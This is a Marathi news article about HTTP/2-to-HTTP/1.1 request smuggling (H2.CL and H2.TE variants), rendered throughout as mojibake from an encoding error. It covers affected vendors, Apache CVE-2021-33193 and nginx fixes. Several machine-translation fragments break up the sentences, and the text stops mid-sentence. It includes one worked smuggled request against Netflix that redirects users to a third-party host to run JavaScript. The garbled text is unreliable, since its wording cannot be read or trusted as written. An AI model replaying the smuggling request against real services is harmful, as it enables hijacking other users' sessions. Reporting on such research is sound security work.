рдлреНрд░рдВрдЯ-рдПрдВрдб-рдмреЕрдХрдПрдВрдб рд╕рд┐рд╕реНрдЯрдорд╡рд░ рдПрдХ рдирд╡реАрди рд╣рд▓реНрд▓рд╛ рдЬреЛ рддреБрдореНрд╣рд╛рд▓рд╛ рд╡рд┐рдирдВрддреНрдпрд╛рдВрдирд╛ рд╡реЗрдЬ рдХрд░рдгреНрдпрд╛рд╕ рдЕрдиреБрдорддреА рджреЗрддреЛ

рд╡реЗрдм рд╕рд┐рд╕реНрдЯреАрдо рдЬреНрдпрд╛рдордзреНрдпреЗ рдлреНрд░рдВрдЯ рдПрдВрдб HTTP/2 рджреНрд╡рд╛рд░реЗ рдХрдиреЗрдХреНрд╢рди рд╕реНрд╡реАрдХрд╛рд░рддреЗ рдЖрдгрд┐ HTTP/1.1 рджреНрд╡рд╛рд░реЗ рдмреЕрдХрдПрдВрдбрд╡рд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рддреЗ рддреНрдпрд╛рдВрдирд╛ тАЬHTTP рд╡рд┐рдирдВрддреА рд╕реНрдордЧрд▓рд┐рдВрдЧтАЭ рд╣рд▓реНрд▓реНрдпрд╛рдЪрд╛ рдПрдХ рдирд╡реАрди рдкреНрд░рдХрд╛рд░ рд╕рдореЛрд░ рдЖрд▓рд╛ рдЖрд╣реЗ, рдЬреЗ рд╡рд┐рд╢реЗрд╖рддрдГ рдбрд┐рдЭрд╛рдЗрди рдХреЗрд▓реЗрд▓реНрдпрд╛ рдХреНрд▓рд╛рдпрдВрдЯ рд╡рд┐рдирдВрддреНрдпрд╛ рдкрд╛рдард╡реВрди рдкрд░рд╡рд╛рдирдЧреА рджреЗрддреЗ. рдлреНрд░рдВрдЯрдПрдВрдб рдЖрдгрд┐ рдмреЕрдХрдПрдВрдб рджрд░рдореНрдпрд╛рди рд╕рдорд╛рди рдкреНрд░рд╡рд╛рд╣рд╛рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд▓реЗрд▓реНрдпрд╛ рдЗрддрд░ рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдВрдЪреНрдпрд╛ рд╡рд┐рдирдВрддреАрдЪреНрдпрд╛ рд╕рд╛рдордЧреНрд░реАрдордзреНрдпреЗ рд╡реЗрдЬ рдХрд░рд╛. рд╣рд▓реНрд▓реНрдпрд╛рдЪрд╛ рд╡рд╛рдкрд░ рдХрд╛рдпрджреЗрд╢реАрд░ рд╡реЗрдмрд╕рд╛рдЗрдЯрд╕рд╣ рд╕рддреНрд░рд╛рдордзреНрдпреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг JavaScript рдХреЛрдб рдШрд╛рд▓рдгреНрдпрд╛рд╕рд╛рдареА, рдкреНрд░рд╡реЗрд╢ рдкреНрд░рддрд┐рдмрдВрдз рдкреНрд░рдгрд╛рд▓реАрд▓рд╛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдЖрдгрд┐ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреЕрд░рд╛рдореАрдЯрд░реНрд╕рдордзреНрдпреЗ рдЕрдбрдерд│рд╛ рдЖрдгрдгреНрдпрд╛рд╕рд╛рдареА рдХреЗрд▓рд╛ рдЬрд╛рдК рд╢рдХрддреЛ.

рд╕рдорд╕реНрдпрд╛ рд╡реЗрдм рдкреНрд░реЙрдХреНрд╕реА, рд▓реЛрдб рдмреЕрд▓рдиреНрд╕рд░реНрд╕, рд╡реЗрдм рдПрдХреНрд╕реАрд▓рд░реЗрдЯрд░реНрд╕, рд╕рд╛рдордЧреНрд░реА рд╡рд┐рддрд░рдг рдкреНрд░рдгрд╛рд▓реА рдЖрдгрд┐ рдЗрддрд░ рдХреЙрдиреНрдлрд┐рдЧрд░реЗрд╢рдирд╡рд░ рдкрд░рд┐рдгрд╛рдо рдХрд░рддреЗ рдЬреНрдпрд╛рдордзреНрдпреЗ рд╡рд┐рдирдВрддреНрдпрд╛ рдлреНрд░рдВрдЯ-рдПрдВрдб-рдЯреВ-рдмреЕрдХрдПрдВрдб рдкрджреНрдзрддреАрдиреЗ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХреЗрд▓реНрдпрд╛ рдЬрд╛рддрд╛рдд. рдЕрднреНрдпрд╛рд╕рд╛рдЪреНрдпрд╛ рд▓реЗрдЦрдХрд╛рдиреЗ Netflix, Verizon, Bitbucket, Netlify CDN рдЖрдгрд┐ Atlassian рдЪреНрдпрд╛ рдкреНрд░рдгрд╛рд▓реАрдВрд╡рд░ рд╣рд▓реНрд▓рд╛ рдХрд░рдгреНрдпрд╛рдЪреА рд╢рдХреНрдпрддрд╛ рджрд╛рдЦрд╡реВрди рджрд┐рд▓реА рдЖрдгрд┐ рдЕрд╕реБрд░рдХреНрд╖рд╛ рдУрд│рдЦрдгреНрдпрд╛рд╕рд╛рдареА 56 рд╣рдЬрд╛рд░ рдбреЙрд▓рд░реНрд╕ рдмрдХреНрд╖реАрд╕ рдХрд╛рд░реНрдпрдХреНрд░рдорд╛рдд рдорд┐рд│рд╛рд▓реЗ. F5 рдиреЗрдЯрд╡рд░реНрдХ рдЙрддреНрдкрд╛рджрдирд╛рдВрдордзреНрдпреЗ рджреЗрдЦреАрд▓ рд╕рдорд╕реНрдпреЗрдЪреА рдкреБрд╖реНрдЯреА рдХреЗрд▓реА рдЧреЗрд▓реА рдЖрд╣реЗ. рд╕рдорд╕реНрдпрд╛ Apache HTTP рд╕рд░реНрд╡реНрд╣рд░ (CVE-2021-33193) рдордзреАрд▓ mod_proxy рд╡рд░ рдЕрдВрд╢рддрдГ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ, рдЖрд╡реГрддреНрддреА 2.4.49 рдордзреНрдпреЗ рдПрдХ рдирд┐рд░рд╛рдХрд░рдг рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрд╣реЗ (рд╡рд┐рдХрд╛рд╕рдХрд╛рдВрдирд╛ рдореЗрдЪреНрдпрд╛ рд╕реБрд░реБрд╡рд╛рддреАрд╕ рд╕рдорд╕реНрдпреЗрдмрджреНрджрд▓ рд╕реВрдЪрд┐рдд рдХреЗрд▓реЗ рдЧреЗрд▓реЗ рд╣реЛрддреЗ рдЖрдгрд┐ рддреНрдпрд╛рдЪреЗ рдирд┐рд░рд╛рдХрд░рдг рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рддреНрдпрд╛рдВрдирд╛ 3 рдорд╣рд┐рдиреЗ рджреЗрдгреНрдпрд╛рдд рдЖрд▓реЗ рд╣реЛрддреЗ). nginx рдордзреНрдпреЗ, "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" рдЖрдгрд┐ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ" рд╢реАрд░реНрд╖рд▓реЗрдЦ рдПрдХрд╛рдЪ рд╡реЗрд│реА рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдгреНрдпрд╛рдЪреА рдХреНрд╖рдорддрд╛ рд╢реЗрд╡рдЯрдЪреНрдпрд╛ рдкреНрд░рдХрд╛рд╢рдирд╛рдд рдЕрд╡рд░реЛрдзрд┐рдд рдХреЗрд▓реА рдЧреЗрд▓реА (1.21.1). рдмрд░реНрдк рдЯреВрд▓рдХрд┐рдЯрдордзреНрдпреЗ рдЕрдЯреЕрдХ рдЯреВрд▓реНрд╕ рдЖрдзреАрдкрд╛рд╕реВрдирдЪ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЖрд╣реЗрдд рдЖрдгрд┐ рдЯрд░реНрдмреЛ рдЗрдВрдЯреНрд░реВрдбрд░ рд╡рд┐рд╕реНрддрд╛рд░рд╛рдЪреНрдпрд╛ рд░реВрдкрд╛рдд рдЙрдкрд▓рдмреНрдз рдЖрд╣реЗрдд.

рдЯреНрд░реЕрдлрд┐рдХрдордзреНрдпреЗ рд╡рд┐рдирдВрддреНрдпрд╛ рдЬреЛрдбрдгреНрдпрд╛рдЪреНрдпрд╛ рдирд╡реАрди рдкрджреНрдзрддреАрдЪреНрдпрд╛ рдСрдкрд░реЗрд╢рдирдЪреЗ рддрддреНрддреНрд╡ рджреЛрди рд╡рд░реНрд╖рд╛рдВрдкреВрд░реНрд╡реА рддреНрдпрд╛рдЪ рд╕рдВрд╢реЛрдзрдХрд╛рдиреЗ рдУрд│рдЦрд▓реЗрд▓реНрдпрд╛ рднреЗрджреНрдпрддреЗрд╕рд╛рд░рдЦреЗрдЪ рдЖрд╣реЗ, рдкрд░рдВрддреБ HTTP/1.1 рд╡рд░ рд╡рд┐рдирдВрддреНрдпрд╛ рд╕реНрд╡реАрдХрд╛рд░рдгрд╛рд▒реНрдпрд╛ рдлреНрд░рдВрдЯрдПрдВрдбреНрд╕рдкреБрд░рддреЗ рдорд░реНрдпрд╛рджрд┐рдд рдЖрд╣реЗ. рдЖрдкрдг рд▓рдХреНрд╖рд╛рдд рдареЗрд╡реВрдпрд╛ рдХреА рдлреНрд░рдВрдЯрдПрдВрдб-рдмреЕрдХрдПрдВрдб рд╕реНрдХреАрдордордзреНрдпреЗ, рдХреНрд▓рд╛рдпрдВрдЯрдЪреНрдпрд╛ рд╡рд┐рдирдВрддреНрдпрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдиреЛрдбрджреНрд╡рд╛рд░реЗ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛рдд - рдлреНрд░рдВрдЯрдПрдВрдб, рдЬреЗ рдмреЕрдХрдПрдВрдбрд╕рд╣ рджреАрд░реНрдШрдХрд╛рд│ рдЯрд┐рдХрдгрд╛рд░реЗ TCP рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ, рдЬреЗ рдереЗрдЯ рд╡рд┐рдирдВрддреНрдпрд╛рдВрд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░рддреЗ. рдпрд╛ рд╕рд╛рдорд╛рдиреНрдп рдХрдиреЗрдХреНрд╢рдирджреНрд╡рд╛рд░реЗ, рднрд┐рдиреНрди рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдВрдХрдбреАрд▓ рд╡рд┐рдирдВрддреНрдпрд╛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХреЗрд▓реНрдпрд╛ рдЬрд╛рддрд╛рдд, рдЬреЗ HTTP рдкреНрд░реЛрдЯреЛрдХреЙрд▓рджреНрд╡рд╛рд░реЗ рд╡рд┐рднрдХреНрдд рдХреЗрд▓реЗрд▓реНрдпрд╛ рдПрдХрд╛рдорд╛рдЧреВрди рдПрдХ рд╕рд╛рдЦрд│реАрдЪреЗ рдЕрдиреБрд╕рд░рдг рдХрд░рддрд╛рдд.

рдХреНрд▓рд╛рд╕рд┐рдХ "HTTP рд╡рд┐рдирдВрддреА рд╕реНрдордЧрд▓рд┐рдВрдЧ" рд╣рд▓реНрд▓рд╛ рдпрд╛ рд╡рд╕реНрддреБрд╕реНрдерд┐рддреАрд╡рд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддрд╛ рдХреА рдлреНрд░рдВрдЯрдПрдВрдб рдЖрдгрд┐ рдмреЕрдХрдПрдВрдб HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦ "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" (рд╡рд┐рдирдВрддреАрдд рдбреЗрдЯрд╛рдЪрд╛ рдПрдХреВрдг рдЖрдХрд╛рд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддреЗ) рдЖрдгрд┐ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: chunked" (рдкрд░рд╡рд╛рдирдЧреА рджреЗрддреЗ) рдЪреНрдпрд╛ рд╡рд╛рдкрд░рд╛рдЪрд╛ рдЕрд░реНрде рд▓рд╛рд╡рддрд╛рдд. рднрд╛рдЧрд╛рдВрдордзреНрдпреЗ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдХрд░рд╛рд╡рдпрд╛рдЪрд╛ рдбреЗрдЯрд╛) рд╡реЗрдЧрд│реНрдпрд╛ рдкрджреНрдзрддреАрдиреЗ. . рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдЬрд░ рдлреНрд░рдВрдЯрдПрдВрдб рдлрдХреНрдд "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" рдЪреЗ рд╕рдорд░реНрдерди рдХрд░рдд рдЕрд╕реЗрд▓ рдкрд░рдВрддреБ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: рдЪрдВрдХреНрдб" рджреБрд░реНрд▓рдХреНрд╖ рдХрд░рдд рдЕрд╕реЗрд▓, рддрд░ рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛ рд╡рд┐рдирдВрддреА рдкрд╛рдард╡реВ рд╢рдХрддреЛ рдЬреНрдпрд╛рдордзреНрдпреЗ "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" рдЖрдгрд┐ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: рдЦрдВрдбрд┐рдд" рд╢реАрд░реНрд╖рд▓реЗрдЦ рдЖрд╣реЗрдд, рдкрд░рдВрддреБ рдЖрдХрд╛рд░ рдЖрд╣реЗ "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" рддреБрдХрдбреЗ рдХреЗрд▓реЗрд▓реНрдпрд╛ рд╕рд╛рдЦрд│реАрдЪреНрдпрд╛ рдЖрдХрд╛рд░рд╛рд╢реА рдЬреБрд│рдд рдирд╛рд╣реА. рдпрд╛ рдкреНрд░рдХрд░рдгрд╛рдд, рдлреНрд░рдВрдЯрдПрдВрдб "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" рдиреБрд╕рд╛рд░ рд╡рд┐рдирдВрддреАрд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд░реЗрд▓ рдЖрдгрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░реЗрд▓ рдЖрдгрд┐ рдмреЕрдХрдПрдВрдб "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: chunked" рд╡рд░ рдЖрдзрд╛рд░рд┐рдд рдмреНрд▓реЙрдХ рдкреВрд░реНрдг рд╣реЛрдгреНрдпрд╛рдЪреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрд▓ рдЖрдгрд┐ рдЖрдХреНрд░рдордгрдХрд░реНрддреНрдпрд╛рдЪреНрдпрд╛ рд╡рд┐рдирдВрддреАрдЪреА рдЙрд░реНрд╡рд░рд┐рдд рд╢реЗрдкрдЯреА рдХрд░реЗрд▓. рдкреБрдвреЗ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХреЗрд▓реЗрд▓реНрдпрд╛ рджреБрд╕рд░реНтАНрдпрд╛рдЪреНрдпрд╛ рд╡рд┐рдирдВрддреАрдЪреНрдпрд╛ рд╕реБрд░реВрд╡рд╛рддреАрд╕ рд╡реНрд╣рд╛.

рдордЬрдХреВрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ HTTP/1.1 рдЪреНрдпрд╛ рд╡рд┐рдкрд░реАрдд, рдЬреЗ рд▓рд╛рдЗрди рд╕реНрддрд░рд╛рд╡рд░ рдкрд╛рд░реНрд╕ рдХреЗрд▓реЗ рдЬрд╛рддреЗ, HTTP/2 рд╣рд╛ рдмрд╛рдпрдирд░реА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЖрд╣реЗ рдЖрдгрд┐ рдкреВрд░реНрд╡-рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЖрдХрд╛рд░рд╛рдЪреНрдпрд╛ рдбреЗрдЯрд╛ рдмреНрд▓реЙрдХреНрд╕рдордзреНрдпреЗ рдлреЗрд░рдлрд╛рд░ рдХрд░рддреЛ. рддрдерд╛рдкрд┐, HTTP/2 рд╣реЗ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░ рд╡рд╛рдкрд░рддрд╛рдд рдЬреЗ рдирд┐рдпрдорд┐рдд HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦрд╛рдВрд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдЕрд╕рддрд╛рдд. HTTP/1.1 рдкреНрд░реЛрдЯреЛрдХреЙрд▓рджреНрд╡рд╛рд░реЗ рдмреЕрдХрдПрдВрдбрд╢реА рдкрд░рд╕реНрдкрд░рд╕рдВрд╡рд╛рджрд╛рдЪреНрдпрд╛ рдмрд╛рдмрддреАрдд, рдлреНрд░рдВрдЯрдПрдВрдб рдпрд╛ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдЪреЗ рд╕рдорд╛рди HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦ HTTP/1.1 рдордзреНрдпреЗ рднрд╛рд╖рд╛рдВрддрд░рд┐рдд рдХрд░рддреЗ. рд╕рдорд╕реНрдпрд╛ рдЕрд╢реА рдЖрд╣реЗ рдХреА рдмреЕрдХрдПрдВрдб рдореВрд│ рд╡рд┐рдирдВрддреАрдЪреНрдпрд╛ рдкреЕрд░рд╛рдореАрдЯрд░реНрд╕рдмрджреНрджрд▓ рдорд╛рд╣рд┐рддреА рди рдШреЗрддрд╛ рдлреНрд░рдВрдЯрдПрдВрдбрджреНрд╡рд╛рд░реЗ рд╕реЗрдЯ рдХреЗрд▓реЗрд▓реНрдпрд╛ HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦрд╛рдВрд╡рд░ рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рд╡рд╛рд╣ рдкрд╛рд░реНрд╕ рдХрд░рдгреНрдпрд╛рдмрд╛рдмрдд рдирд┐рд░реНрдгрдп рдШреЗрддреЛ.

рд╡рд┐рд╢реЗрд╖рддрдГ, "рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА" рдЖрдгрд┐ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ" рд╣реА рдореВрд▓реНрдпреЗ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдЪреНрдпрд╛ рд╕реНрд╡рд░реВрдкрд╛рдд рдкреНрд░рд╕рд╛рд░рд┐рдд рдХреЗрд▓реА рдЬрд╛рдК рд╢рдХрддрд╛рдд, рдЬрд░реА рддреА HTTP/2 рдордзреНрдпреЗ рд╡рд╛рдкрд░рд▓реА рдЬрд╛рдд рдирд╛рд╣реАрдд, рдХрд╛рд░рдг рд╕рд░реНрд╡ рдбреЗрдЯрд╛рдЪрд╛ рдЖрдХрд╛рд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХреЗрд▓рд╛ рдЬрд╛рддреЛ. рд╡реЗрдЧрд│реНрдпрд╛ рдХреНрд╖реЗрддреНрд░рд╛рдд. рддрдерд╛рдкрд┐, HTTP/2 рд╡рд┐рдирдВрддреА HTTP/1.1 рдордзреНрдпреЗ рд░реВрдкрд╛рдВрддрд░рд┐рдд рдХрд░рдгреНрдпрд╛рдЪреНрдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпреЗрджрд░рдореНрдпрд╛рди, рд╣реЗ рд╢реАрд░реНрд╖рд▓реЗрдЦ рдкреБрдвреЗ рдиреЗрд▓реЗ рдЬрд╛рддрд╛рдд рдЖрдгрд┐ рдмреЕрдХрдПрдВрдбрд▓рд╛ рдЧреЛрдВрдзрд│рд╛рдд рдЯрд╛рдХреВ рд╢рдХрддрд╛рдд. рджреЛрди рдореБрдЦреНрдп рдЖрдХреНрд░рдордг рдкреНрд░рдХрд╛рд░ рдЖрд╣реЗрдд: H2.TE рдЖрдгрд┐ H2.CL, рдЬреНрдпрд╛рдордзреНрдпреЗ рдмреЕрдХрдПрдВрдб рдЪреБрдХреАрдЪреНрдпрд╛ рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ рдХрд┐рдВрд╡рд╛ рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреАрдЪреНрдпрд╛ рдореВрд▓реНрдпрд╛рджреНрд╡рд╛рд░реЗ рджрд┐рд╢рд╛рднреВрд▓ рдХреЗрд▓рд╛ рдЬрд╛рддреЛ рдЬреЛ рдлреНрд░рдВрдЯрдПрдВрдбрджреНрд╡рд╛рд░реЗ рдкреНрд░рд╛рдкреНрдд рдХреЗрд▓реЗрд▓реНрдпрд╛ рд╡рд┐рдирдВрддреАрдЪреНрдпрд╛ рдореБрдЦреНрдп рднрд╛рдЧрд╛рдЪреНрдпрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЖрдХрд╛рд░рд╛рд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдирд╛рд╣реА. HTTP/2 рдкреНрд░реЛрдЯреЛрдХреЙрд▓.

рдлреНрд░рдВрдЯ-рдПрдВрдб-рдмреЕрдХрдПрдВрдб рд╕рд┐рд╕реНрдЯрдорд╡рд░ рдПрдХ рдирд╡реАрди рд╣рд▓реНрд▓рд╛ рдЬреЛ рддреБрдореНрд╣рд╛рд▓рд╛ рд╡рд┐рдирдВрддреНрдпрд╛рдВрдирд╛ рд╡реЗрдЬ рдХрд░рдгреНрдпрд╛рд╕ рдЕрдиреБрдорддреА рджреЗрддреЛ

H2.CL рд╣рд▓реНрд▓реНрдпрд╛рдЪреЗ рдЙрджрд╛рд╣рд░рдг рдореНрд╣рдгрдЬреЗ Netflix рд▓рд╛ HTTP/2 рд╡рд┐рдирдВрддреА рдкрд╛рдард╡рддрд╛рдирд╛ рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреАрдЪреНрдпрд╛ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдордзреНрдпреЗ рдЪреБрдХреАрдЪрд╛ рдЖрдХрд╛рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдгреЗ. рд╣реА рд╡рд┐рдирдВрддреА HTTP/1.1 рджреНрд╡рд╛рд░реЗ рдмреЕрдХрдПрдВрдбрдордзреНрдпреЗ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛рдирд╛ рд╕рдорд╛рди HTTP рд╢реАрд░реНрд╖рд▓реЗрдЦ рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА рдЬреЛрдбрдгреНрдпрд╛рд╕ рдХрд╛рд░рдгреАрднреВрдд рдард░рддреЗ, рдкрд░рдВрддреБ рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреАрдордзреАрд▓ рдЖрдХрд╛рд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХрдкреЗрдХреНрд╖рд╛ рдХрдореА рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреЗрд▓реНрдпрд╛рдореБрд│реЗ, рдЯреЗрд▓рдордзреАрд▓ рдбреЗрдЯрд╛рдЪрд╛ рднрд╛рдЧ рдореНрд╣рдгреВрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд▓реА рдЬрд╛рддреЗ. рдкреБрдвреАрд▓ рд╡рд┐рдирдВрддреАрдЪреА рд╕реБрд░реВрд╡рд╛рдд.

рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 рд╣реЛрд╕реНрдЯ: 02.rs?x.netflix.com Foo: bar рд╡рд┐рдирдВрддреА рдХрд░рд╛

рдмреЕрдХрдПрдВрдбрд▓рд╛ рд╡рд┐рдирдВрддреА рдкрд╛рдард╡рд▓реА рдЬрд╛рдИрд▓ рдпрд╛рдЪрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрдИрд▓: POST /n HTTP/1.1 рд╣реЛрд╕реНрдЯ: www.netflix.com рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреА: 4 abcdGET /n HTTP/1.1 рд╣реЛрд╕реНрдЯ: 02.rs?x.netflix.com Foo: bar

рд╕рд╛рдордЧреНрд░реА-рд▓рд╛рдВрдмреАрдЪреЗ рдореВрд▓реНрдп 4 рдЕрд╕рд▓реНрдпрд╛рдиреЗ, рдмреЕрдХрдПрдВрдб рд╡рд┐рдирдВрддреАрдЪрд╛ рдореБрдЦреНрдп рднрд╛рдЧ рдореНрд╣рдгреВрди рдлрдХреНрдд "abcd" рд╕реНрд╡реАрдХрд╛рд░реЗрд▓ рдЖрдгрд┐ рдЙрд░реНрд╡рд░рд┐рдд "GET /n HTTP/1.1..." рдирдВрддрд░рдЪреНрдпрд╛ рд╡рд┐рдирдВрддреАрдЪреНрдпрд╛ рд╕реБрд░реВрд╡рд╛рддреАрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд▓реА рдЬрд╛рдИрд▓. рджреБрд╕рд▒реНрдпрд╛ рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рд╢реА рд╕рдВрдмрдВрдзрд┐рдд. рддреНрдпрд╛рдиреБрд╕рд╛рд░, рдкреНрд░рд╡рд╛рд╣ рдбрд┐рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЭ рд╣реЛрдИрд▓ рдЖрдгрд┐ рдкреБрдвреАрд▓ рд╡рд┐рдирдВрддреАрд▓рд╛ рдкреНрд░рддрд┐рд╕рд╛рдж рдореНрд╣рдгреВрди, рдбрдореА рд╡рд┐рдирдВрддреАрд╡рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗрд▓реНрдпрд╛рдЪрд╛ рдкрд░рд┐рдгрд╛рдо рдЬрд╛рд░реА рдХреЗрд▓рд╛ рдЬрд╛рдИрд▓. рдиреЗрдЯрдлреНрд▓рд┐рдХреНрд╕рдЪреНрдпрд╛ рдмрд╛рдмрддреАрдд, рдбрдореА рд╡рд┐рдирдВрддреАрдордзреНрдпреЗ тАЬрд╣реЛрд╕реНрдЯ:тАЭ рд╣реЗрдбрд░рдордзреНрдпреЗ рддреГрддреАрдп-рдкрдХреНрд╖ рд╣реЛрд╕реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреЗрд▓реНрдпрд╛рдореБрд│реЗ рдХреНрд▓рд╛рдпрдВрдЯрдиреЗ тАЬрд╕реНрдерд╛рди: https://02.rs?x.netflix.com/nтАЭ рдкреНрд░рддрд┐рд╕рд╛рдж рдкрд░рдд рдХреЗрд▓рд╛ рдЖрдгрд┐ рдиреЗрдЯрдлреНрд▓рд┐рдХреНрд╕ рд╕рд╛рдЗрдЯрдЪреНрдпрд╛ рд╕рдВрджрд░реНрднрд╛рдд рддреБрдордЪрд╛ JavaScript рдХреЛрдб рдЪрд╛рд▓рд╡рдгреНрдпрд╛рд╕рд╣, рдХреНрд▓рд╛рдпрдВрдЯрд▓рд╛ рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд╛рдордЧреНрд░реА рдкрд╛рдард╡рдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджрд┐рд▓реА.

рджреБрд╕рд░рд╛ рд╣рд▓реНрд▓рд╛ рдкрд░реНрдпрд╛рдп (H2.TE) рдордзреНрдпреЗ "рд╣рд╕реНрддрд╛рдВрддрд░рдг-рдПрдирдХреЛрдбрд┐рдВрдЧ: chunked" рд╢реАрд░реНрд╖рд▓реЗрдЦ рдмрджрд▓рдгреЗ рд╕рдорд╛рд╡рд┐рд╖реНрдЯ рдЖрд╣реЗ. рдПрдЪрдЯреАрдЯреАрдкреА/2 рдордзреАрд▓ рдЯреНрд░рд╛рдиреНрд╕рдлрд░-рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдЪрд╛ рд╡рд╛рдкрд░ рд╕реНрдкреЗрд╕рд┐рдлрд┐рдХреЗрд╢рдирджреНрд╡рд╛рд░реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдЖрд╣реЗ рдЖрдгрд┐ рддреНрдпрд╛рд╕рд╣ рд╡рд┐рдирдВрддреНрдпрд╛ рдЪреБрдХреАрдЪреНрдпрд╛ рдорд╛рдирд▓реНрдпрд╛ рдЬрд╛рдгреНрдпрд╛рд╕рд╛рдареА рд╡рд┐рд╣рд┐рдд рдХреЗрд▓реНрдпрд╛ рдЖрд╣реЗрдд. рдЕрд╕реЗ рдЕрд╕реВрдирд╣реА, рдХрд╛рд╣реА рдлреНрд░рдВрдЯрдПрдВрдб рдЕрдВрдорд▓рдмрдЬрд╛рд╡рдгреА рд╣реА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╡рд┐рдЪрд╛рд░рд╛рдд рдШреЗрдд рдирд╛рд╣реАрдд рдЖрдгрд┐ HTTP/2 рдордзреНрдпреЗ рдЯреНрд░рд╛рдиреНрд╕рдлрд░-рдПрдирдХреЛрдбрд┐рдВрдЧ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░ рд╡рд╛рдкрд░рдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджреЗрддрд╛рдд, рдЬреЗ рд╕рдорд╛рди HTTP рд╣реЗрдбрд░рдордзреНрдпреЗ рд░реВрдкрд╛рдВрддрд░рд┐рдд 